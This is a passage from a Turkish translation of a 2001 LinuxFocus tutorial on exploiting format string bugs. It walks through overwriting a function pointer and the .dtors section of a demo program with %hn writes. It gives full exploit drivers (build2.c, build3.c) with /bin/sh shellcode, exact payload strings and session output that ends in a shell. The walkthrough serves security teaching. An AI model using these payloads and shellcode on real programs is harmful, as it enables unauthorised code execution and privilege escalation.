>>./vuln `./build 0xbffff5b4 0x8048664 3` adr : -1073744460 (bffff5b4) val : 134514276 (8048664) valh: 2052 (0804) vall: 34404 (8664) [¶õÿ¿´õÿ¿%.2044x%3$hn%.32352x%4$hn] (33) argv2 = 0xbffff819 helloWorld() = 0x8048644 accessForbidden() = 0x8048664 before : ptrf() = 0x8048644 (0xbffff5b4) buffer = [¶õÿ¿´õÿ¿0000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000 0000000000000000] (127) after : ptrf() = 0x8048664 (0xbffff5b4) You shouldn't be here "accesForbidden"Biz kazandık!!!
Biçimlendirme hataları sayesinde istediğimiz yere yazmamızın mümkün olduğun
    görmüştük. Şimdi, .dtors bölümü ile ilgili bir kullanım göreceğiz.
gcc ile derlenen programlarda .ctors
    adında bir yaratma ve bir de .dtors adında yoketme
    bölümü yaratılmaktadır. Her iki bölümde de sırasıyla main()
    fonksiyonuna girişte ve çıkışta çalıştırılacak fonksiyonlar
    için işaretçiler bulunmaktadır.
/* cdtors */
void start(void) __attribute__ ((constructor));
void end(void) __attribute__ ((destructor));
int main() {
  printf("in main()\n");
}
void start(void) {
  printf("in start()\n");
}
void end(void) {
  printf("in end()\n");
}
    Basit bir örnek programla işleyişin nasıl olduğunu görebilmekteyiz:
>>gcc cdtors.c -o cdtors >>./cdtors in start() in main() in end()Bu iki bölümün herbiri aynı şekilde oluşturulmuştur:
>>objdump -s -j .ctors cdtors cdtors: file format elf32-i386 .ctors bölümünün içeriği: 804949c ffffffff dc830408 00000000 ............ >>objdump -s -j .dtors cdtors cdtors: file format elf32-i386 .dtors bölümünün içeriği: 80494a8 ffffffff f0830408 00000000 ............Gösterilen adreslerin bizim fonksiyonların adreslerine karşılık geldiğini kontrol ettik (dikkat :
objdump komutu adres değerlerini küçük indian formatında vermektedir):
>>objdump -t cdtors | egrep "start|end" 080483dc g F .text 00000012 start 080483f0 g F .text 00000012 endDolayısıyla, bu bölümler
0xffffffff ve
    0x00000000 ile sınırlandırılan bölgede başta veya sonunda
    çalıştırılacak fonksiyonların adreslerini içermektedir.
    Şimdi bunu vuln programı üzerine bir uygulayalım.
    İlk önce bu bölümlerin bellekteki yerlerini bulmamız gerekecektir.
    İkili (binary) program elinizde olduğunda bunu yapmak gerçekten çok kolay ;-)
    Daha önce de olduğu gibi  sadece objdump kullanın:
>> objdump -s -j .dtors vuln vuln: file format elf32-i386 .dtors bölümünün içeriği: 8049844 ffffffff 00000000 ........İşte burada ! Şimdi gereksinim duyduğumuz herşeye sahibiz.
Bu kullanımının amacı, iki bölümden birinde bulunan adres değerini
    çalıştırmak istediğimiz fonksiyonun adresi ile
    değiştirmektedir. Eğer, bu bçlümler boş ise, o zaman
    bölümün sonunu belirten 0x00000000 değerini değiştirmemiz
    yeterli olacaktır. Program, 0x00000000 değerini bulamayacağı için
    bir sonraki adres değerini alacaktır, ki bu büyük bir olasılıkla
    yanlış olacaktır ve segmentation fault (bölümlendirme hatası)
    almamızı sağlayacaktır.
Gerçekte, tek ilginç olan bölüm yoketme (.dtors)
    bölümüdür. Çünkü yaratma (.ctors) fonkisyonundan
    önce bir şey çalıştıracak zamanımız yoktur.  Genelde, başlangıç
    (0xffffffff) adresinden 4 byte sonra bulunan adresi
    değiştirmek yeterli olacaktır:
0x00000000 değerini
      değiştireceğiz;Örneğimize geri dönelim ve .dtors bölümündeki
    0x8049848=0x8049844+4 adresinde bulunan 0x00000000
    değeri, adresi 0x8048664 olan
    accesForbidden() fonksiyonunun adresi ile değiştirelim:
>./vuln `./build 0x8049848 0x8048664 3` adr : 134518856 (8049848) val : 134514276 (8048664) valh: 2052 (0804) vall: 34404 (8664) [JH%.2044x%3$hn%.32352x%4$hn] (33) argv2 = bffff694 (0xbffff51c) helloWorld() = 0x8048648 accessForbidden() = 0x8048664 before : ptrf() = 0x8048648 (0xbffff434) buffer = [JH0000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 000] (127) after : ptrf() = 0x8048648 (0xbffff434) Welcome in "helloWorld" You shouldn't be here "accesForbidden" Segmentation fault (core dumped)Herşey düzgün çalışmaktadır,
main(), helloWorld()
    ve sonra da çıkış. Daha sonra yoketme fonksiyonu çalıştırmaktadır.
    .dtors bölümü accesForbidden()
    fonksiyonun adresi ile başlamaktadır. Ondan sonra herhangi bir gerçek
    adres değeri bulunmadığında coredump olayı gerçekleşmektedir.
     
Burada basit kullanımlar gördük. Aynı prensipleri kullanarak,
    kabuk elde edebiliriz. Bunun için ya kabuğu argv[]
    parametre olark vererek ya da çevre değişkeni kullanarak gerçekleştirebiliriz.
    Yapmamız gereken, .dtors bölümüne uygun adres değerini
    yerleştirmektir.
Şu anda bildiklerimiz:
Gerçekte programlar, örneğimizde olduğu gibi gözel (adres değerlerini belirten) değildir. Bunun için, belleğe bir kabuk koymayı ve daha sonra onun gerçek adresini veren bir yöntem tanıtacağız.
Buradaki fikir exec*() fonksiyonunun özyenilemeli olarak
    çalıştırmaya dayanmaktadır:
/* argv.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main(int argc, char **argv) {
  char **env;
  char **arg;
  int nb = atoi(argv[1]), i;
  env    = (char **) malloc(sizeof(char *));
  env[0] = 0;
  arg    = (char **) malloc(sizeof(char *) * nb);
  arg[0] = argv[0];
  arg[1] = (char *) malloc(5);
  snprintf(arg[1], 5, "%d", nb-1);
  arg[2] = 0;
  /* printings */
  printf("*** argv %d ***\n", nb);
  printf("argv = %p\n", argv);
  printf("arg = %p\n", arg);
  for (i = 0; i<argc; i++) {
    printf("argv[%d] = %p (%p)\n", i, argv[i], &argv[i]);
    printf("arg[%d] = %p (%p)\n", i, arg[i], &arg[i]);
  }
  printf("\n");
  /* recall */
  if (nb == 0)
    exit(0);
  execve(argv[0], arg, env);
}
     Kendini özyenilemeli olarak nb+1 defa çalıştıracak
     giriş değeri  nb tamsayısıdır :
>>./argv 2 *** argv 2 *** argv = 0xbffff6b4 arg = 0x8049828 argv[0] = 0xbffff80b (0xbffff6b4) arg[0] = 0xbffff80b (0x8049828) argv[1] = 0xbffff812 (0xbffff6b8) arg[1] = 0x8049838 (0x804982c) *** argv 1 *** argv = 0xbfffff44 arg = 0x8049828 argv[0] = 0xbfffffec (0xbfffff44) arg[0] = 0xbfffffec (0x8049828) argv[1] = 0xbffffff3 (0xbfffff48) arg[1] = 0x8049838 (0x804982c) *** argv 0 *** argv = 0xbfffff44 arg = 0x8049828 argv[0] = 0xbfffffec (0xbfffff44) arg[0] = 0xbfffffec (0x8049828) argv[1] = 0xbffffff3 (0xbfffff48) arg[1] = 0x8049838 (0x804982c)
arg ve argv'nin adres değerlerinin
    ilk çalıştırmadan sonra değişmediğini hemen fark etmekteyiz.
    Bu özelliği daha sonra kullanacağız. build programımızı
    vuln programını çalıştırmadan önce kendi kendini çalıştıracak
    şekilde değiştiriyoruz. Böylece, argv'nin tam adresini ve kabuğun
    adresini elde etmekteyiz:
/* build2.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
char* build(unsigned int addr, unsigned int value, unsigned int where)
{
  //build.c'deki aynı fonksiyon
}
int
main(int argc, char **argv) {
  char *buf;
  char shellcode[] =
     "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
     "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
     "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  if(argc < 3)
    return EXIT_FAILURE;
  if (argc == 3) {
    fprintf(stderr, "Calling %s ...\n", argv[0]);
    buf = build(strtoul(argv[1], NULL, 16),  /* adres */
        &shellcode,
        atoi(argv[2]));              /* uzaklık */
    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
    execlp(argv[0], argv[0], buf, &shellcode, argv[1], argv[2], NULL);
  } else {
    fprintf(stderr, "Calling ./vuln ...\n");
    fprintf(stderr, "sc = %p\n", argv[2]);
    buf = build(strtoul(argv[3], NULL, 16),  /* adres */
        argv[2],
        atoi(argv[4]));              /* uzaklık */
    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
    execlp("./vuln","./vuln", buf, argv[2], argv[3], argv[4], NULL);
  }
  return EXIT_SUCCESS;
}
    Buradaki püf nokta, programa verilen parametre sayısına göre
    ne çalıştıracağımızı bilmemizdedir. Başlamak için yapmamız gereken
    değiştireceğimiz adres değeri ile uzaklık bilgilerini
    build2 programına vermektir. Ardışık çalıştırmalar sonucunda
    gerekli değeri program kendisi hesaplayacağından, artık bu değeri
    vermemiz gerekmiyor.
Başarmak için build2 ve vuln
    programlarının ardışık çalıştırmaları sırasındaki bellek
    yapısını olduğu gibi korumamız gerekmektedir (bu nedenledir
    ki aynı bellek yapısını kullansın diye build() fonksiyon
    olarak kullanıyoruz):
>>./build2 0xbffff634 3 Calling ./build2 ... adr : -1073744332 (bffff634) val : -1073744172 (bffff6d4) valh: 49151 (bfff) vall: 63188 (f6d4) [6öÿ¿4öÿ¿%.49143x%3$hn%.14037x%4$hn] (34) Calling ./vuln ... sc = 0xbffff88f adr : -1073744332 (bffff634) val : -1073743729 (bffff88f) valh: 49151 (bfff) vall: 63631 (f88f) [6öÿ¿4öÿ¿%.49143x%3$hn%.14480x%4$hn] (34) 0 0xbffff867 1 0xbffff86e 2 0xbffff891 3 0xbffff8bf 4 0xbffff8ca helloWorld() = 0x80486c4 accessForbidden() = 0x80486e8 before : ptrf() = 0x80486c4 (0xbffff634) buffer = [6öÿ¿4öÿ¿000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000 00000000000] (127) after : ptrf() = 0xbffff88f (0xbffff634) Segmentation fault (core dumped)
Neden çalışmadı? İki çalıştırma sırasında aynı bellek yapısını
    kullanmamız gerekmektedir demiştik, ancak bunu uygulamadık!
    argv[0] (programın adı) değişti. İlk önce programın adı
    build2 (6 byte) idi ve daha sonra vuln
    oldu (4 byte). Aradaki vark 2 byte'dır, bu yukarıdaki örnekte
    de fark edebileceğiniz değerdir. build2 ikinci
    defa çağırılması sırasında kabuğun adresi sc=0xbffff88f
    dir, ancak, vuln deki argv[2] değeri
    20xbffff891, yani bizim 2 byte. Bunu çözmek için
    programın adını build2 den 4 karakterden oluşan
    bui2 olarak değiştirmek yeterli olacaktır:
>>cp build2 bui2 >>./bui2 0xbffff634 3 Calling ./bui2 ... adr : -1073744332 (bffff634) val : -1073744156 (bffff6e4) valh: 49151 (bfff) vall: 63204 (f6e4) [6öÿ¿4öÿ¿%.49143x%3$hn%.14053x%4$hn] (34) Calling ./vuln ... sc = 0xbffff891 adr : -1073744332 (bffff634) val : -1073743727 (bffff891) valh: 49151 (bfff) vall: 63633 (f891) [6öÿ¿4öÿ¿%.49143x%3$hn%.14482x%4$hn] (34) 0 0xbffff867 1 0xbffff86e 2 0xbffff891 3 0xbffff8bf 4 0xbffff8ca helloWorld() = 0x80486c4 accessForbidden() = 0x80486e8 before : ptrf() = 0x80486c4 (0xbffff634) buffer = [6öÿ¿4öÿ¿0000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000 000000000000000] (127) after : ptrf() = 0xbffff891 (0xbffff634) bash$
Yine kazandık : bu şekilde daha iyi çalışmaktadır ;-)
    ptrf'nin gösterdiği adres değerini kabuğun adresini
    gösterecek şekilde değiştirdik. Tabii ki bu ancak yığıt çalıştırılabilir
    ise yapmak mümkün olmaktadır.
Biçimlendirme katarları her yere yazabileceğimizi sağlamaktadır, o zaman
    .dtors bölümüne yoketme fonksiyonu ekleyelim :
>>objdump -s -j .dtors vuln vuln: file format elf32-i386 Contents of section .dtors: 80498c0 ffffffff 00000000 ........ >>./bui2 80498c4 3 Calling ./bui2 ... adr : 134518980 (80498c4) val : -1073744156 (bffff6e4) valh: 49151 (bfff) vall: 63204 (f6e4) [ÆÄ%.49143x%3$hn%.14053x%4$hn] (34) Calling ./vuln ... sc = 0xbffff894 adr : 134518980 (80498c4) val : -1073743724 (bffff894) valh: 49151 (bfff) vall: 63636 (f894) [ÆÄ%.49143x%3$hn%.14485x%4$hn] (34) 0 0xbffff86a 1 0xbffff871 2 0xbffff894 3 0xbffff8c2 4 0xbffff8ca helloWorld() = 0x80486c4 accessForbidden() = 0x80486e8 before : ptrf() = 0x80486c4 (0xbffff634) buffer = [ÆÄ000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000 0000000000000000] (127) after : ptrf() = 0x80486c4 (0xbffff634) Welcome in "helloWorld" bash$ exit exit >>
Yoketme bölümüne kendi çıkış fonksiyonumuzu koyduğumuz için
    coredump oluşmadı. Bunun nedeni bizim kabuk programında
    exit(0) fonksiyonunu çağıran kısmın olmasıdır.
    
En sonunda, çevre değişkeni aracılıyla kabuk
    elde etmemizi sağlayan build3.c programını hediye olarak veriyoruz:
/* build3.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
char* build(unsigned int addr, unsigned int value, unsigned int where)
{
  //build.c'deki aynı fonksiyon
}
int main(int argc, char **argv) {
  char **env;
  char **arg;
  unsigned char *buf;
  unsigned char shellcode[] =
     "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
       "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  if (argc == 3) {
    fprintf(stderr, "Calling %s ...\n", argv[0]);
    buf = build(strtoul(argv[1], NULL, 16),  /* adresse */
        &shellcode,
        atoi(argv[2]));              /* offset */
    fprintf(stderr, "%d\n", strlen(buf));
    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
    printf("%s",  buf);
    arg = (char **) malloc(sizeof(char *) * 3);
    arg[0]=argv[0];
    arg[1]=buf;
    arg[2]=NULL;
    env = (char **) malloc(sizeof(char *) * 4);
    env[0]=&shellcode;
    env[1]=argv[1];
    env[2]=argv[2];
    env[3]=NULL;
    execve(argv[0],arg,env);
  } else
  if(argc==2) {
    fprintf(stderr, "Calling ./vuln ...\n");
    fprintf(stderr, "sc = %p\n", environ[0]);
    buf = build(strtoul(environ[1], NULL, 16),  /* adresse */
        environ[0],
        atoi(environ[2]));              /* offset */
    fprintf(stderr, "%d\n", strlen(buf));
    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
    printf("%s",  buf);
    arg = (char **) malloc(sizeof(char *) * 3);
    arg[0]=argv[0];
    arg[1]=buf;
    arg[2]=NULL;
    execve("./vuln",arg,environ);
  }
  return 0;
}
    Tekrar söylemek gerekirse, ortam yığıt üzerinde olduğundan
    bellek yapısını değiştirmememiz çok önemlidir (değişkenlerin ve
    programa verilen parametrelerin yerlerinin  değiştirilmesi gibi).
    İkili (derlenmiş) programın adı, vuln ile aynı byte
    sayısına sahip olması gerekmektedir.
Değerleri atamak için extern char
    **environ envrensel değişkenler kullanmayı kararlaştırdık :
environ[0]: kabuk adresini içermekte;environ[1]: değiştireceğimiz adres değerini içermektedir;environ[2]: uzaklık değerini içermektedir.printf(), syslog(), gibi fonksiyoniları
    çağırırken "%s" gibi biçimlendirme katarlarının yazılması
    demektir. Eğer, mutlaka kullanmak gerekirse, o zaman kullanıcının girmiş
    olduğu değerleri çok iyi denetlemek gerekecektir.
   exec*() ile ilgili püf noktadan),
    bizi yüreklendirmesinden ve  biçimlendirme katarları ve onların kullanımı ile ilgi
    yazmış olduğu makaleden dolayı Pascal Kalou Bouchareine'e teşekkür eder.
    
     
| 
 | 
| Görselyöre sayfalarının bakımı, LinuxFocus Editörleri tarafından yapılmaktadır © Frédéric Raynal, Christophe Blaess, Christophe Grenier, FDL LinuxFocus.org Burayı klikleyerek hataları rapor edebilir ya da yorumlarınızı LinuxFocus'a gönderebilirsiniz | Çeviri bilgisi: 
 | 
2001-08-02, generated by lfparser version 2.17